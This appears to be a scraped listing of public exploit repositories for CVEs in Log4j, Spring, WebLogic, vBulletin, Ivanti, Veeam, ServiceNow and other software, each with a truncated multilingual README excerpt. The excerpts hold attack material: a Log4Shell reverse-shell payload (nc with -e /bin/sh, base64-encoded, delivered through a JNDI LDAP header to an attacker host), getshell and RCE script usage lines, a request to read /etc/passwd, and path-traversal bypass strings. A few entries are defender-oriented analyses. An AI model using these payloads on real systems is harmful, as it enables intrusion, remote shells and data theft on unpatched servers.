log4jshell_CVE-2021-44228

log4jshellCVE-2021-44228 Log4jshell - CVE-2021-44228 Netcat nc Public IP Port -e /bin/sh Convert into Base64 bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g= Payload curl Target Website -H "X-Forwarded-Host: $jndi:ldap://ReverseshellIP:Port/Basic/Command/Base64/Payload in base64 Proof of concept Log4j Po...

CVE-2022-39197-POC

CVE-2022-39197-POC 中国語版READMECN.md 脆弱性の概要 CobaltStrikeが9月20日に正式リリースした最新バージョン4.7.1のアップデートログによると、teamserverバージョン 私たちは「Beichendream」という独立した研究者から、チームサーバーで発見されたXSS脆弱性について連絡を受けました。これにより、攻撃者はBeacon構成に不正なユーザー名を設定し、リモートからコードを実行（RCE）できるようになります。 POCの概要 現時点では、このPOCはteamserverの画像爆弾のみを実装しています。...

CVE-2022-22965-Spring4Shell

Spring4Shell Spring4Shell CVE-2022-22965 취약한 Tomcat 서버와 취약한 spring4shell 애플리케이션을 포함한 개념 증명PoC. 이 취약점에 대한 세부 정보 https://websecured.io/blog/624411cf775ad17d72274d16/spring4shell-poc https://www.springcloud.io/post/2022-03/spring-0day-vulnerability...

VMware-CVE-2022-22954

VMware CVE-2022-22954 Workspace ONE Access Freemarker 服务端模板注入 Vmware CVE-2022-22954 的 POC 使用这一行 GET 请求！！这将执行 cat /etc/passwd...

CVE-2024-2961

Buddyforms 2.7.7 CNEXT RCE CVE-2024-2961 및 CVE-2023–26326을 악용하여 RCE 달성 사용법 git-clone https://github.com/suce0155/CVE-2024-2961buddyforms2.7.7 pip install -r requirements.txt python3 buddyforms2.7.7cnextexploit.py http://site/wp-admin/admin-ajax.php ip port 분석 및 기술 세부 사항 제 블로그 게시물을 확인하세요 POC...

CVE-2018-2628

CVE-2018-2628 WebLogic 역직렬화 취약점 재현 weblogic getshell python CVE-2018-2628-Getshell.py ip port shell1.jsp C:\Users\CTF\Desktoppython CVE-2018-2628-Getshell.py 10.10.20.166 7001 jason1.jsp / \ \ / / | | \ / / |/ \ | \ / /| \ / \ | | \ \ / /| | | | | || | | / / | | | | \ / / | |/ /| | | || | usage:...

xxl-job

xxl-job 실행기 RESTful API 무단 접근 RCE 실행 로그 Console을 이용하여 명령 실행 성공 결과를 얻을 수 있습니다: Example: /joblog/logDetailPage?id=xxxx JDK 환경 변수 확인 String var3 = System.getProperties.toString; System.out.printlnvar3; 명령 실행 /jobcode?jobId=x import com.xxl.job.core.log.XxlJobLogger; import...

CVE-2024-29824

CVE-2024-29824: Ivanti EPM SQL Injection 원격 코드 실행 취약점 취약한 Ivanti EPM 장비에서 명령을 블라인드 방식으로 실행하기 위한 개념 증명 익스플로잇입니다. 블로그 게시물 심층 분석 및 침해 지표는 다음에서 확인할 수 있습니다: https://www.horizon3.ai/attack-research/attack-blogs/cve-2024-29824-deep-dive-ivanti-epm-sql-injection-remote-code-execution-vulnerability 사용법 %...

CVE-2015-5377

CVE-2015-5377 Elasticsearch 1.5.2는 안전하지 않은 Java 역직렬화를 통해 RCE에 취약합니다. 익스플로잇은 9300 포트의 전송 프로토콜을 공격합니다. 역직렬화는 RCE를 달성하기 위해 Groovy MethodClosure 체인을 기반으로 합니다...

CVE-2024-3105-PoC

CVE-2024-3105 PoC Woody code snippets – Insert Header Footer Code, AdSense Ads 플러그인은 WordPress용으로, 'insertphp' 단축 코드를 통해 버전 2.5.0 이하의 모든 버전에서 원격 코드 실행에 취약합니다. 이는 플러그인이 기능 사용을 높은 수준의 권한 사용자로 제한하지 않기 때문입니다. 이로 인해 기여자 수준 이상의 접근 권한을 가진 인증된 공격자가 서버에서 코드를 실행할 수 있습니다. Info 기본 점수: 9.9 치명적 벡터:...

CVE-2023-42222

CVE-2023-42222 취약점 요약 WebCatalog 버전 48.4.0 이전 버전은 특정 상황에서 URL이 http 또는 https 리소스인지 확인하지 않고 Electron의 shell.openExternal 함수를 호출합니다. 이 취약점으로 인해 공격자는 임의의 프로토콜을 가진 링크가 포함된 메시지를 전송하여 피해자 시스템에서 코드를 실행할 수 있습니다. 피해자는 링크와 상호작용해야 하며, 열리는 URL을 볼 수 있습니다. 취약점 스캔 결과 PoC 개요 PoC 정보 이 취약점은 임의의 URL을 허용하는 페이지를 동기화하...

CVE-2022-30190

CVE-2022-30190 이 저장소는 Defender 관점에서 Follina MSDT에 대해 다룹니다. 색인 소개 타임라인 익스플로잇 이해하기 IOC 목록 탐지 전략 테스트 및 연구 완화 계획 참고 자료 소개 이 버그는 Shadow Chaser Group의 crazyman이 보고한 Microsoft Windows 지원 진단 도구MSDT 원격 코드 실행 취약점입니다. Microsoft는 현재 이를 CVE-2022-30190로 추적하고 있습니다. 이 결함은 여전히 보안 업데이트를 받는 모든 Windows 버전Windows 7 이...

CVE-2025-66034-htb-ctf

CVE-2025-66034-htb-ctf VariaType 가변 폰트 생성기 익스플로잇 이 저장소는 Hack The Box의 VariaType 머신을 위한 특화된 익스플로잇을 포함하고 있습니다. 이 익스플로잇은 fontTools 라이브러리 또는 웹 애플리케이션이 .designspace XML 파일과 메타데이터 보간interpolation을 처리하는 방식의 취약점을 이용하여 원격 코드 실행RCE을 달성합니다. 📝 설명 취약점은 폰트 생성 과정에 존재합니다. 악성 designspace 파일을 조작하여 폰트의 메타데이터특히 필드에...

cve-2021-41773-exploration

개요 CVE-2021-41773은 2021년 10월 Apache HTTP Server 2.4.49에서 발견된 경로 탐색path traversal 취약점입니다. 근본 원인은 요청된 경로가 웹 루트 내에 유지되는지 확인하기 전에 URL에 포함된 점dot 시퀀스를 제대로 정규화하지 못한 데 있었습니다. 이 취약점으로 인해 공격자는 웹 루트를 벗어나 서버 파일시스템의 모든 파일에 접근할 수 있었으며, 일부 경우에는 원격 코드 실행까지 권한이 상승할 수 있었습니다. 이 탐구에서 시연된 2가지 공격 벡터 경로 탐색: 파일시스템에서 임의의...

PAN-OS-CVE-2024-3400-Command-Injection-Investigation

Investigating a PAN-OS CVE-2024-3400 Command Injection Attempt Overview This project documents the investigation of a CVE-2024-3400 command injection attempt targeting a PAN-OS GlobalProtect service. The goal was to determine: whether this is a real attack whether command execution occurred wheth...

CVE-2024-4879

ServiceNow의 Jelly 템플릿 인젝션 취약점 | POC CVE-2024-4879 설명: ServiceNow는 Vancouver 및 Washington, D.C. Now Platform 릴리스에서 확인된 입력 검증 취약점을 해결했습니다. 이 취약점으로 인해 인증되지 않은 사용자가 Now Platform의 컨텍스트 내에서 원격으로 코드를 실행할 수 있게 될 수 있습니다. FOFA : "server : servicenow" 저장소 클론하기: git clone...

CVE-2019-16759

CVE-2019-16759 vBulletin 5.x 인증되지 않은 원격 코드 실행 취약점 참고: 일부 PoC 전송 시 403이 반환되고 200이 아닙니다 확인 강화: echo md5'vBulletin'; 실행 후 응답 패킷에 be4ea51d962be8308a0099ae1eb3ec63이 있는지 확인 print r.text.split'be4ea51d962be8308a0099ae1eb3ec63'0 CVE-2019-16759.py import requests import sys if lensys.argv != 2:...

CVE-2024-40711-Exp

使用法 .\ysoserial.exe -f BinaryFormatter -g Veeam -c localhostServer -vi targetIP -vp 6170 -vg DataSet -vc "cmd /c mspaint.exe" Usage: ysoserial.exe options Options: --vi, --targetveeamip=VALUE The target Veeam Backup and reaplication IP address --vp, --targetveeamport=VALUE The target Veeam Backup...

CVE-2023-21608

CVE-2023-21608 Discord Server 이 버그는 객체 메모리 참조를 처리하는 동안 resetForm 작업에서 발생한 Use after Free 취약점입니다. 블로그 Adobe Acrobat Reader - resetForm - CAgg UaF - RCE Exploit - CVE-2023-21608 권고 CVE-2023-21608 데모...

CVE-2020-14882

CVE-2020–14882 Weblogic Неавторизованный обход RCE Обход патча с помощью CVE-2020–14882 private static final String IllegalUrl = new String";", "%252E%252E", "%2E%2E", "..", "%3C", "%3E", ""; список %252E%252E %2E%2E .. %3E %3C ; нижний регистр "%252E%252E%252F".lower '%252e%252e%252f'...